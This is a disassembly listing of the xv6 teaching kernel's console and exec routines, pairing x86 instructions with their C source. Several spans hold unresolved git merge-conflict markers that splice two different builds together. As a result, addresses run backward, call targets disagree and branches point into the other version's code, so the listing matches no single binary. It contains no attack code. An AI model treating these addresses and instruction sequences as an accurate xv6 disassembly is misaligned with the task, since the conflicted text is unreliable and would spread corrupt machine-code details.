80100886: a1 c8 ff 10 80 mov 0x8010ffc8,%eax
8010088b: 74 19 je 801008a6 <consoleintr+0xf6>
8010088d: 83 ff 0a cmp $0xa,%edi
80100890: 74 14 je 801008a6 <consoleintr+0xf6>
80100892: 8b 0d c0 ff 10 80 mov 0x8010ffc0,%ecx
80100898: 8d 91 80 00 00 00 lea 0x80(%ecx),%edx
8010089e: 39 d0 cmp %edx,%eax
801008a0: 0f 85 2a ff ff ff jne 801007d0 <consoleintr+0x20>
input.w = input.e;
wakeup(&input.r);
801008a6: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp)
if(c != 0 && input.e-input.r < INPUT_BUF){
c = (c == '\r') ? '\n' : c;
input.buf[input.e++ % INPUT_BUF] = c;
consputc(c);
if(c == '\n' || c == C('D') || input.e == input.r+INPUT_BUF){
input.w = input.e;
801008ad: a3 c4 ff 10 80 mov %eax,0x8010ffc4
wakeup(&input.r);
<<<<<<< HEAD
801008f1: 68 c0 ff 10 80 push $0x8010ffc0
801008f6: e8 f5 37 00 00 call 801040f0 <wakeup>
801008fb: 83 c4 10 add $0x10,%esp
801008fe: e9 0d ff ff ff jmp 80100810 <consoleintr+0x20>
80100903: 90 nop
80100904: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
=======
801008b2: e8 29 36 00 00 call 80103ee0 <wakeup>
801008b7: e9 14 ff ff ff jmp 801007d0 <consoleintr+0x20>
801008bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
case C('P'): // Process listing.
// procdump() locks cons.lock indirectly; invoke later
doprocdump = 1;
break;
case C('U'): // Kill line.
while(input.e != input.w &&
801008c0: a1 c8 ff 10 80 mov 0x8010ffc8,%eax
801008c5: 3b 05 c4 ff 10 80 cmp 0x8010ffc4,%eax
801008cb: 75 2b jne 801008f8 <consoleintr+0x148>
801008cd: e9 fe fe ff ff jmp 801007d0 <consoleintr+0x20>
801008d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
input.buf[(input.e-1) % INPUT_BUF] != '\n'){
input.e--;
801008d8: a3 c8 ff 10 80 mov %eax,0x8010ffc8
consputc(BACKSPACE);
801008dd: b8 00 01 00 00 mov $0x100,%eax
801008e2: e8 f9 fa ff ff call 801003e0 <consputc>
case C('P'): // Process listing.
// procdump() locks cons.lock indirectly; invoke later
doprocdump = 1;
break;
case C('U'): // Kill line.
while(input.e != input.w &&
801008e7: a1 c8 ff 10 80 mov 0x8010ffc8,%eax
801008ec: 3b 05 c4 ff 10 80 cmp 0x8010ffc4,%eax
801008f2: 0f 84 d8 fe ff ff je 801007d0 <consoleintr+0x20>
input.buf[(input.e-1) % INPUT_BUF] != '\n'){
801008f8: 83 e8 01 sub $0x1,%eax
801008fb: 89 c2 mov %eax,%edx
801008fd: 83 e2 7f and $0x7f,%edx
case C('P'): // Process listing.
// procdump() locks cons.lock indirectly; invoke later
doprocdump = 1;
break;
case C('U'): // Kill line.
while(input.e != input.w &&
80100900: 80 ba 40 ff 10 80 0a cmpb $0xa,-0x7fef00c0(%edx)
80100907: 75 cf jne 801008d8 <consoleintr+0x128>
80100909: e9 c2 fe ff ff jmp 801007d0 <consoleintr+0x20>
8010090e: 66 90 xchg %ax,%ax
acquire(&cons.lock);
while((c = getc()) >= 0){
switch(c){
case C('P'): // Process listing.
// procdump() locks cons.lock indirectly; invoke later
doprocdump = 1;
80100910: be 01 00 00 00 mov $0x1,%esi
80100915: e9 b6 fe ff ff jmp 801007d0 <consoleintr+0x20>
8010091a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
}
release(&cons.lock);
if(doprocdump) {
procdump(); // now call procdump() wo. cons.lock held
}
}
80100920: 83 c4 1c add $0x1c,%esp
80100923: 5b pop %ebx
80100924: 5e pop %esi
80100925: 5f pop %edi
80100926: 5d pop %ebp
break;
}
}
release(&cons.lock);
if(doprocdump) {
procdump(); // now call procdump() wo. cons.lock held
<<<<<<< HEAD
80100977: e9 64 38 00 00 jmp 801041e0 <procdump>
=======
80100927: e9 94 36 00 00 jmp 80103fc0 <procdump>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
break;
default:
if(c != 0 && input.e-input.r < INPUT_BUF){
c = (c == '\r') ? '\n' : c;
input.buf[input.e++ % INPUT_BUF] = c;
8010092c: c6 80 40 ff 10 80 0a movb $0xa,-0x7fef00c0(%eax)
consputc(c);
80100933: b8 0a 00 00 00 mov $0xa,%eax
80100938: e8 a3 fa ff ff call 801003e0 <consputc>
8010093d: a1 c8 ff 10 80 mov 0x8010ffc8,%eax
80100942: e9 5f ff ff ff jmp 801008a6 <consoleintr+0xf6>
80100947: 89 f6 mov %esi,%esi
80100949: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80100950 <consoleinit>:
return n;
}
void
consoleinit(void)
{
80100950: 55 push %ebp
80100951: 89 e5 mov %esp,%ebp
80100953: 83 ec 18 sub $0x18,%esp
initlock(&cons.lock, "console");
<<<<<<< HEAD
801009a6: 68 b0 73 10 80 push $0x801073b0
801009ab: 68 20 a5 10 80 push $0x8010a520
801009b0: e8 3b 3b 00 00 call 801044f0 <initlock>
=======
80100956: c7 44 24 04 30 71 10 movl $0x80107130,0x4(%esp)
8010095d: 80
8010095e: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
80100965: e8 96 39 00 00 call 80104300 <initlock>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
devsw[CONSOLE].write = consolewrite;
devsw[CONSOLE].read = consoleread;
cons.locking = 1;
picenable(IRQ_KBD);
8010096a: c7 04 24 01 00 00 00 movl $0x1,(%esp)
void
consoleinit(void)
{
initlock(&cons.lock, "console");
devsw[CONSOLE].write = consolewrite;
80100971: c7 05 8c 09 11 80 f0 movl $0x801005f0,0x8011098c
80100978: 05 10 80
devsw[CONSOLE].read = consoleread;
8010097b: c7 05 88 09 11 80 70 movl $0x80100270,0x80110988
80100982: 02 10 80
cons.locking = 1;
80100985: c7 05 54 a5 10 80 01 movl $0x1,0x8010a554
8010098c: 00 00 00
picenable(IRQ_KBD);
8010098f: e8 5c 28 00 00 call 801031f0 <picenable>
ioapicenable(IRQ_KBD, 0);
80100994: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
8010099b: 00
8010099c: c7 04 24 01 00 00 00 movl $0x1,(%esp)
801009a3: e8 f8 18 00 00 call 801022a0 <ioapicenable>
}
801009a8: c9 leave
801009a9: c3 ret
801009aa: 66 90 xchg %ax,%ax
801009ac: 66 90 xchg %ax,%ax
801009ae: 66 90 xchg %ax,%ax
801009b0 <exec>:
#include "x86.h"
#include "elf.h"
int
exec(char *path, char **argv)
{
801009b0: 55 push %ebp
801009b1: 89 e5 mov %esp,%ebp
801009b3: 57 push %edi
801009b4: 56 push %esi
801009b5: 53 push %ebx
801009b6: 81 ec 1c 01 00 00 sub $0x11c,%esp
struct elfhdr elf;
struct inode *ip;
struct proghdr ph;
pde_t *pgdir, *oldpgdir;
begin_op();
801009bc: e8 bf 21 00 00 call 80102b80 <begin_op>
if((ip = namei(path)) == 0){
801009c1: 8b 45 08 mov 0x8(%ebp),%eax
801009c4: 89 04 24 mov %eax,(%esp)
801009c7: e8 14 15 00 00 call 80101ee0 <namei>
801009cc: 85 c0 test %eax,%eax
801009ce: 89 c3 mov %eax,%ebx
801009d0: 74 37 je 80100a09 <exec+0x59>
end_op();
return -1;
}
ilock(ip);
801009d2: 89 04 24 mov %eax,(%esp)
801009d5: e8 d6 0c 00 00 call 801016b0 <ilock>
pgdir = 0;
// Check ELF header
if(readi(ip, (char*)&elf, 0, sizeof(elf)) != sizeof(elf))
801009da: 8d 85 24 ff ff ff lea -0xdc(%ebp),%eax
801009e0: c7 44 24 0c 34 00 00 movl $0x34,0xc(%esp)
801009e7: 00
801009e8: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
801009ef: 00
801009f0: 89 44 24 04 mov %eax,0x4(%esp)
801009f4: 89 1c 24 mov %ebx,(%esp)
801009f7: e8 44 0f 00 00 call 80101940 <readi>
801009fc: 83 f8 34 cmp $0x34,%eax
801009ff: 74 1f je 80100a20 <exec+0x70>
bad:
if(pgdir)
freevm(pgdir);
if(ip){
iunlockput(ip);
80100a01: 89 1c 24 mov %ebx,(%esp)
80100a04: e8 e7 0e 00 00 call 801018f0 <iunlockput>
end_op();
80100a09: e8 e2 21 00 00 call 80102bf0 <end_op>
}
return -1;
80100a0e: b8 ff ff ff ff mov $0xffffffff,%eax
}
80100a13: 81 c4 1c 01 00 00 add $0x11c,%esp
80100a19: 5b pop %ebx
80100a1a: 5e pop %esi
80100a1b: 5f pop %edi
80100a1c: 5d pop %ebp
80100a1d: c3 ret
80100a1e: 66 90 xchg %ax,%ax
pgdir = 0;
// Check ELF header
if(readi(ip, (char*)&elf, 0, sizeof(elf)) != sizeof(elf))
goto bad;
if(elf.magic != ELF_MAGIC)
80100a20: 81 bd 24 ff ff ff 7f cmpl $0x464c457f,-0xdc(%ebp)
80100a27: 45 4c 46
80100a2a: 75 d5 jne 80100a01 <exec+0x51>
goto bad;
if((pgdir = setupkvm()) == 0)
<<<<<<< HEAD
80100a6c: e8 5f 62 00 00 call 80106cd0 <setupkvm>
80100a71: 85 c0 test %eax,%eax
80100a73: 89 85 f4 fe ff ff mov %eax,-0x10c(%ebp)
80100a79: 74 c0 je 80100a3b <exec+0x4b>
=======
80100a2c: e8 1f 60 00 00 call 80106a50 <setupkvm>
80100a31: 85 c0 test %eax,%eax
80100a33: 89 85 f4 fe ff ff mov %eax,-0x10c(%ebp)
80100a39: 74 c6 je 80100a01 <exec+0x51>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
goto bad;
// Load program into memory.
sz = 0;
for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){
80100a3b: 66 83 bd 50 ff ff ff cmpw $0x0,-0xb0(%ebp)
80100a42: 00
80100a43: 8b b5 40 ff ff ff mov -0xc0(%ebp),%esi
if((pgdir = setupkvm()) == 0)
goto bad;
// Load program into memory.
sz = 0;
80100a49: c7 85 f0 fe ff ff 00 movl $0x0,-0x110(%ebp)
80100a50: 00 00 00
for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){
80100a53: 0f 84 da 00 00 00 je 80100b33 <exec+0x183>
80100a59: 31 ff xor %edi,%edi
80100a5b: eb 18 jmp 80100a75 <exec+0xc5>
80100a5d: 8d 76 00 lea 0x0(%esi),%esi
80100a60: 0f b7 85 50 ff ff ff movzwl -0xb0(%ebp),%eax
80100a67: 83 c7 01 add $0x1,%edi
80100a6a: 83 c6 20 add $0x20,%esi
80100a6d: 39 f8 cmp %edi,%eax
80100a6f: 0f 8e be 00 00 00 jle 80100b33 <exec+0x183>
if(readi(ip, (char*)&ph, off, sizeof(ph)) != sizeof(ph))
80100a75: 8d 85 04 ff ff ff lea -0xfc(%ebp),%eax
80100a7b: c7 44 24 0c 20 00 00 movl $0x20,0xc(%esp)
80100a82: 00
80100a83: 89 74 24 08 mov %esi,0x8(%esp)
80100a87: 89 44 24 04 mov %eax,0x4(%esp)
80100a8b: 89 1c 24 mov %ebx,(%esp)
80100a8e: e8 ad 0e 00 00 call 80101940 <readi>
80100a93: 83 f8 20 cmp $0x20,%eax
80100a96: 0f 85 84 00 00 00 jne 80100b20 <exec+0x170>
goto bad;
if(ph.type != ELF_PROG_LOAD)
80100a9c: 83 bd 04 ff ff ff 01 cmpl $0x1,-0xfc(%ebp)
80100aa3: 75 bb jne 80100a60 <exec+0xb0>
continue;
if(ph.memsz < ph.filesz)
80100aa5: 8b 85 18 ff ff ff mov -0xe8(%ebp),%eax
80100aab: 3b 85 14 ff ff ff cmp -0xec(%ebp),%eax
80100ab1: 72 6d jb 80100b20 <exec+0x170>
goto bad;
if(ph.vaddr + ph.memsz < ph.vaddr)
80100ab3: 03 85 0c ff ff ff add -0xf4(%ebp),%eax
80100ab9: 72 65 jb 80100b20 <exec+0x170>
goto bad;
if((sz = allocuvm(pgdir, sz, ph.vaddr + ph.memsz)) == 0)
<<<<<<< HEAD
80100aec: 83 ec 04 sub $0x4,%esp
80100aef: 50 push %eax
80100af0: ff b5 f0 fe ff ff pushl -0x110(%ebp)
80100af6: ff b5 f4 fe ff ff pushl -0x10c(%ebp)
80100afc: e8 8f 64 00 00 call 80106f90 <allocuvm>
80100b01: 83 c4 10 add $0x10,%esp
80100b04: 85 c0 test %eax,%eax
80100b06: 89 85 f0 fe ff ff mov %eax,-0x110(%ebp)
80100b0c: 74 3a je 80100b48 <exec+0x158>
=======
80100abb: 89 44 24 08 mov %eax,0x8(%esp)
80100abf: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax
80100ac5: 89 44 24 04 mov %eax,0x4(%esp)
80100ac9: 8b 85 f4 fe ff ff mov -0x10c(%ebp),%eax
80100acf: 89 04 24 mov %eax,(%esp)
80100ad2: e8 39 62 00 00 call 80106d10 <allocuvm>
80100ad7: 85 c0 test %eax,%eax
80100ad9: 89 85 f0 fe ff ff mov %eax,-0x110(%ebp)
80100adf: 74 3f je 80100b20 <exec+0x170>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
goto bad;
if(ph.vaddr % PGSIZE != 0)
80100ae1: 8b 85 0c ff ff ff mov -0xf4(%ebp),%eax
80100ae7: a9 ff 0f 00 00 test $0xfff,%eax
80100aec: 75 32 jne 80100b20 <exec+0x170>
goto bad;
if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0)
<<<<<<< HEAD
80100b1b: 83 ec 0c sub $0xc,%esp
80100b1e: ff b5 14 ff ff ff pushl -0xec(%ebp)
80100b24: ff b5 08 ff ff ff pushl -0xf8(%ebp)
80100b2a: 53 push %ebx
80100b2b: 50 push %eax
80100b2c: ff b5 f4 fe ff ff pushl -0x10c(%ebp)
80100b32: e8 99 63 00 00 call 80106ed0 <loaduvm>
80100b37: 83 c4 20 add $0x20,%esp
80100b3a: 85 c0 test %eax,%eax
80100b3c: 0f 89 5e ff ff ff jns 80100aa0 <exec+0xb0>
80100b42: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
=======
80100aee: 8b 95 14 ff ff ff mov -0xec(%ebp),%edx
80100af4: 89 44 24 04 mov %eax,0x4(%esp)
80100af8: 8b 85 f4 fe ff ff mov -0x10c(%ebp),%eax
80100afe: 89 5c 24 08 mov %ebx,0x8(%esp)
80100b02: 89 54 24 10 mov %edx,0x10(%esp)
80100b06: 8b 95 08 ff ff ff mov -0xf8(%ebp),%edx
80100b0c: 89 04 24 mov %eax,(%esp)
80100b0f: 89 54 24 0c mov %edx,0xc(%esp)
80100b13: e8 38 61 00 00 call 80106c50 <loaduvm>
80100b18: 85 c0 test %eax,%eax
80100b1a: 0f 89 40 ff ff ff jns 80100a60 <exec+0xb0>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
freevm(oldpgdir);
return 0;
bad:
if(pgdir)
freevm(pgdir);
<<<<<<< HEAD
80100b48: 83 ec 0c sub $0xc,%esp
80100b4b: ff b5 f4 fe ff ff pushl -0x10c(%ebp)
80100b51: e8 6a 65 00 00 call 801070c0 <freevm>
80100b56: 83 c4 10 add $0x10,%esp
80100b59: e9 dd fe ff ff jmp 80100a3b <exec+0x4b>
=======
80100b20: 8b 85 f4 fe ff ff mov -0x10c(%ebp),%eax
80100b26: 89 04 24 mov %eax,(%esp)
80100b29: e8 12 63 00 00 call 80106e40 <freevm>
80100b2e: e9 ce fe ff ff jmp 80100a01 <exec+0x51>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
if(ph.vaddr % PGSIZE != 0)
goto bad;
if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0)
goto bad;
}
iunlockput(ip);
80100b33: 89 1c 24 mov %ebx,(%esp)
80100b36: e8 b5 0d 00 00 call 801018f0 <iunlockput>
80100b3b: 90 nop
80100b3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
end_op();
80100b40: e8 ab 20 00 00 call 80102bf0 <end_op>
ip = 0;
// Allocate two pages at the next page boundary.
// Make the first inaccessible. Use the second as the user stack.
sz = PGROUNDUP(sz);
80100b45: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax
80100b4b: 05 ff 0f 00 00 add $0xfff,%eax
80100b50: 25 00 f0 ff ff and $0xfffff000,%eax
if((sz = allocuvm(pgdir, sz, sz + 2*PGSIZE)) == 0)
<<<<<<< HEAD
80100b7f: 8d 90 00 20 00 00 lea 0x2000(%eax),%edx
80100b85: 52 push %edx
80100b86: 50 push %eax
80100b87: ff b5 f4 fe ff ff pushl -0x10c(%ebp)
80100b8d: e8 fe 63 00 00 call 80106f90 <allocuvm>
80100b92: 83 c4 10 add $0x10,%esp
80100b95: 85 c0 test %eax,%eax
80100b97: 89 c6 mov %eax,%esi
80100b99: 75 2a jne 80100bc5 <exec+0x1d5>
=======
80100b55: 8d 90 00 20 00 00 lea 0x2000(%eax),%edx
80100b5b: 89 44 24 04 mov %eax,0x4(%esp)
80100b5f: 8b 85 f4 fe ff ff mov -0x10c(%ebp),%eax
80100b65: 89 54 24 08 mov %edx,0x8(%esp)
80100b69: 89 04 24 mov %eax,(%esp)
80100b6c: e8 9f 61 00 00 call 80106d10 <allocuvm>
80100b71: 85 c0 test %eax,%eax
80100b73: 89 85 ec fe ff ff mov %eax,-0x114(%ebp)
80100b79: 75 18 jne 80100b93 <exec+0x1e3>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
freevm(oldpgdir);
return 0;
bad:
if(pgdir)
freevm(pgdir);
<<<<<<< HEAD
80100b9b: 83 ec 0c sub $0xc,%esp
80100b9e: ff b5 f4 fe ff ff pushl -0x10c(%ebp)
80100ba4: e8 17 65 00 00 call 801070c0 <freevm>
80100ba9: 83 c4 10 add $0x10,%esp
=======
80100b7b: 8b 85 f4 fe ff ff mov -0x10c(%ebp),%eax
80100b81: 89 04 24 mov %eax,(%esp)
80100b84: e8 b7 62 00 00 call 80106e40 <freevm>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
if(ip){
iunlockput(ip);
end_op();
}
return -1;
80100b89: b8 ff ff ff ff mov $0xffffffff,%eax
80100b8e: e9 80 fe ff ff jmp 80100a13 <exec+0x63>
// Allocate two pages at the next page boundary.
// Make the first inaccessible. Use the second as the user stack.
sz = PGROUNDUP(sz);
if((sz = allocuvm(pgdir, sz, sz + 2*PGSIZE)) == 0)
goto bad;
clearpteu(pgdir, (char*)(sz - 2*PGSIZE));
<<<<<<< HEAD
80100bd2: 50 push %eax
80100bd3: ff b5 f4 fe ff ff pushl -0x10c(%ebp)
80100bd9: e8 62 65 00 00 call 80107140 <clearpteu>
=======
80100b93: 8b 9d ec fe ff ff mov -0x114(%ebp),%ebx
80100b99: 89 d8 mov %ebx,%eax
80100b9b: 2d 00 20 00 00 sub $0x2000,%eax
80100ba0: 89 44 24 04 mov %eax,0x4(%esp)
80100ba4: 8b 85 f4 fe ff ff mov -0x10c(%ebp),%eax
80100baa: 89 04 24 mov %eax,(%esp)
80100bad: e8 0e 63 00 00 call 80106ec0 <clearpteu>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
sp = sz;
// Push argument strings, prepare rest of stack in ustack.
for(argc = 0; argv[argc]; argc++) {
<<<<<<< HEAD
80100bde: 8b 45 0c mov 0xc(%ebp),%eax
80100be1: 83 c4 10 add $0x10,%esp
80100be4: 8d 95 58 ff ff ff lea -0xa8(%ebp),%edx
80100bea: 8b 00 mov (%eax),%eax
80100bec: 85 c0 test %eax,%eax
80100bee: 74 6d je 80100c5d <exec+0x26d>
80100bf0: 89 b5 f0 fe ff ff mov %esi,-0x110(%ebp)
80100bf6: 8b b5 f4 fe ff ff mov -0x10c(%ebp),%esi
80100bfc: eb 07 jmp 80100c05 <exec+0x215>
80100bfe: 66 90 xchg %ax,%ax
if(argc >= MAXARG)
80100c00: 83 ff 20 cmp $0x20,%edi
80100c03: 74 96 je 80100b9b <exec+0x1ab>
goto bad;
sp = (sp - (strlen(argv[argc]) + 1)) & ~3;
80100c05: 83 ec 0c sub $0xc,%esp
80100c08: 50 push %eax
80100c09: e8 72 3d 00 00 call 80104980 <strlen>
80100c0e: f7 d0 not %eax
80100c10: 01 c3 add %eax,%ebx
if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
80100c12: 8b 45 0c mov 0xc(%ebp),%eax
80100c15: 5a pop %edx
// Push argument strings, prepare rest of stack in ustack.
for(argc = 0; argv[argc]; argc++) {
=======
80100bb2: 8b 45 0c mov 0xc(%ebp),%eax
80100bb5: 8b 00 mov (%eax),%eax
80100bb7: 85 c0 test %eax,%eax
80100bb9: 0f 84 66 01 00 00 je 80100d25 <exec+0x375>
80100bbf: 8b 7d 0c mov 0xc(%ebp),%edi
80100bc2: 31 f6 xor %esi,%esi
80100bc4: 8b 4d 0c mov 0xc(%ebp),%ecx
80100bc7: 89 f2 mov %esi,%edx
80100bc9: 89 fe mov %edi,%esi
80100bcb: 89 d7 mov %edx,%edi
80100bcd: 83 c1 04 add $0x4,%ecx
80100bd0: eb 0e jmp 80100be0 <exec+0x230>
80100bd2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80100bd8: 83 c1 04 add $0x4,%ecx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
if(argc >= MAXARG)
80100bdb: 83 ff 20 cmp $0x20,%edi
80100bde: 74 9b je 80100b7b <exec+0x1cb>
goto bad;
sp = (sp - (strlen(argv[argc]) + 1)) & ~3;
80100be0: 89 04 24 mov %eax,(%esp)
80100be3: 89 8d f0 fe ff ff mov %ecx,-0x110(%ebp)
80100be9: e8 32 3b 00 00 call 80104720 <strlen>
80100bee: f7 d0 not %eax
80100bf0: 01 c3 add %eax,%ebx
if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
<<<<<<< HEAD
80100c19: ff 34 b8 pushl (%eax,%edi,4)
80100c1c: e8 5f 3d 00 00 call 80104980 <strlen>
80100c21: 83 c0 01 add $0x1,%eax
80100c24: 50 push %eax
80100c25: 8b 45 0c mov 0xc(%ebp),%eax
80100c28: ff 34 b8 pushl (%eax,%edi,4)
80100c2b: 53 push %ebx
80100c2c: 56 push %esi
80100c2d: e8 6e 66 00 00 call 801072a0 <copyout>
80100c32: 83 c4 20 add $0x20,%esp
80100c35: 85 c0 test %eax,%eax
80100c37: 0f 88 5e ff ff ff js 80100b9b <exec+0x1ab>
goto bad;
clearpteu(pgdir, (char*)(sz - 2*PGSIZE));
sp = sz;
=======
80100bf2: 8b 06 mov (%esi),%eax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Push argument strings, prepare rest of stack in ustack.
for(argc = 0; argv[argc]; argc++) {
if(argc >= MAXARG)
goto bad;
sp = (sp - (strlen(argv[argc]) + 1)) & ~3;
80100bf4: 83 e3 fc and $0xfffffffc,%ebx
if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
80100bf7: 89 04 24 mov %eax,(%esp)
80100bfa: e8 21 3b 00 00 call 80104720 <strlen>
80100bff: 83 c0 01 add $0x1,%eax
80100c02: 89 44 24 0c mov %eax,0xc(%esp)
80100c06: 8b 06 mov (%esi),%eax
80100c08: 89 5c 24 04 mov %ebx,0x4(%esp)
80100c0c: 89 44 24 08 mov %eax,0x8(%esp)
80100c10: 8b 85 f4 fe ff ff mov -0x10c(%ebp),%eax
80100c16: 89 04 24 mov %eax,(%esp)
80100c19: e8 02 64 00 00 call 80107020 <copyout>
80100c1e: 85 c0 test %eax,%eax
80100c20: 0f 88 55 ff ff ff js 80100b7b <exec+0x1cb>
goto bad;
clearpteu(pgdir, (char*)(sz - 2*PGSIZE));
sp = sz;
// Push argument strings, prepare rest of stack in ustack.
for(argc = 0; argv[argc]; argc++) {
80100c26: 8b 8d f0 fe ff ff mov -0x110(%ebp),%ecx
if(argc >= MAXARG)
goto bad;
sp = (sp - (strlen(argv[argc]) + 1)) & ~3;
if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
goto bad;
ustack[3+argc] = sp;
80100c2c: 8d 95 58 ff ff ff lea -0xa8(%ebp),%edx
80100c32: 89 9c bd 64 ff ff ff mov %ebx,-0x9c(%ebp,%edi,4)
goto bad;
clearpteu(pgdir, (char*)(sz - 2*PGSIZE));
sp = sz;
// Push argument strings, prepare rest of stack in ustack.
for(argc = 0; argv[argc]; argc++) {
80100c39: 83 c7 01 add $0x1,%edi
80100c3c: 8b 01 mov (%ecx),%eax
80100c3e: 89 ce mov %ecx,%esi
80100c40: 85 c0 test %eax,%eax
80100c42: 75 94 jne 80100bd8 <exec+0x228>
80100c44: 89 fe mov %edi,%esi
}
ustack[3+argc] = 0;
ustack[0] = 0xffffffff; // fake return PC
ustack[1] = argc;
ustack[2] = sp - (argc+1)*4; // argv pointer
80100c46: 8d 04 b5 04 00 00 00 lea 0x4(,%esi,4),%eax
80100c4d: 89 d9 mov %ebx,%ecx
80100c4f: 29 c1 sub %eax,%ecx
sp -= (3+argc+1) * 4;
80100c51: 83 c0 0c add $0xc,%eax
80100c54: 29 c3 sub %eax,%ebx
if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0)
80100c56: 89 44 24 0c mov %eax,0xc(%esp)
80100c5a: 8b 85 f4 fe ff ff mov -0x10c(%ebp),%eax
80100c60: 89 54 24 08 mov %edx,0x8(%esp)
80100c64: 89 5c 24 04 mov %ebx,0x4(%esp)
sp = (sp - (strlen(argv[argc]) + 1)) & ~3;
if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
goto bad;
ustack[3+argc] = sp;
}
ustack[3+argc] = 0;
80100c68: c7 84 b5 64 ff ff ff movl $0x0,-0x9c(%ebp,%esi,4)
80100c6f: 00 00 00 00
ustack[0] = 0xffffffff; // fake return PC
ustack[1] = argc;
ustack[2] = sp - (argc+1)*4; // argv pointer
sp -= (3+argc+1) * 4;
if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0)
80100c73: 89 04 24 mov %eax,(%esp)
goto bad;
ustack[3+argc] = sp;
}
ustack[3+argc] = 0;
ustack[0] = 0xffffffff; // fake return PC
80100c76: c7 85 58 ff ff ff ff movl $0xffffffff,-0xa8(%ebp)
80100c7d: ff ff ff
ustack[1] = argc;
80100c80: 89 b5 5c ff ff ff mov %esi,-0xa4(%ebp)
ustack[2] = sp - (argc+1)*4; // argv pointer
80100c86: 89 8d 60 ff ff ff mov %ecx,-0xa0(%ebp)
sp -= (3+argc+1) * 4;
if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0)
<<<<<<< HEAD
80100c97: e8 04 66 00 00 call 801072a0 <copyout>
80100c9c: 83 c4 10 add $0x10,%esp
80100c9f: 85 c0 test %eax,%eax
80100ca1: 0f 88 f4 fe ff ff js 80100b9b <exec+0x1ab>
=======
80100c8c: e8 8f 63 00 00 call 80107020 <copyout>
80100c91: 85 c0 test %eax,%eax
80100c93: 0f 88 e2 fe ff ff js 80100b7b <exec+0x1cb>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
goto bad;
// Save program name for debugging.
for(last=s=path; *s; s++)
80100c99: 8b 45 08 mov 0x8(%ebp),%eax
80100c9c: 0f b6 10 movzbl (%eax),%edx
80100c9f: 84 d2 test %dl,%dl
80100ca1: 74 19 je 80100cbc <exec+0x30c>
80100ca3: 8b 4d 08 mov 0x8(%ebp),%ecx
80100ca6: 83 c0 01 add $0x1,%eax
if(*s == '/')
last = s+1;
80100ca9: 80 fa 2f cmp $0x2f,%dl
sp -= (3+argc+1) * 4;
if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0)
goto bad;
// Save program name for debugging.
for(last=s=path; *s; s++)
80100cac: 0f b6 10 movzbl (%eax),%edx
if(*s == '/')
last = s+1;
80100caf: 0f 44 c8 cmove %eax,%ecx
80100cb2: 83 c0 01 add $0x1,%eax
sp -= (3+argc+1) * 4;
if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0)
goto bad;
// Save program name for debugging.
for(last=s=path; *s; s++)
80100cb5: 84 d2 test %dl,%dl
80100cb7: 75 f0 jne 80100ca9 <exec+0x2f9>
80100cb9: 89 4d 08 mov %ecx,0x8(%ebp)
if(*s == '/')
last = s+1;
safestrcpy(proc->name, last, sizeof(proc->name));
80100cbc: 8b 45 08 mov 0x8(%ebp),%eax
80100cbf: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
80100cc6: 00
80100cc7: 89 44 24 04 mov %eax,0x4(%esp)
80100ccb: 65 a1 04 00 00 00 mov %gs:0x4,%eax
<<<<<<< HEAD
80100cd1: 6a 10 push $0x10
80100cd3: ff 75 08 pushl 0x8(%ebp)
80100cd6: 83 c0 6c add $0x6c,%eax
80100cd9: 50 push %eax
80100cda: e8 61 3c 00 00 call 80104940 <safestrcpy>
=======
80100cd1: 83 c0 6c add $0x6c,%eax
80100cd4: 89 04 24 mov %eax,(%esp)
80100cd7: e8 04 3a 00 00 call 801046e0 <safestrcpy>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Commit to the user image.
oldpgdir = proc->pgdir;
80100cdc: 65 a1 04 00 00 00 mov %gs:0x4,%eax
proc->pgdir = pgdir;
80100ce2: 8b 8d f4 fe ff ff mov -0x10c(%ebp),%ecx
if(*s == '/')
last = s+1;
safestrcpy(proc->name, last, sizeof(proc->name));
// Commit to the user image.
oldpgdir = proc->pgdir;
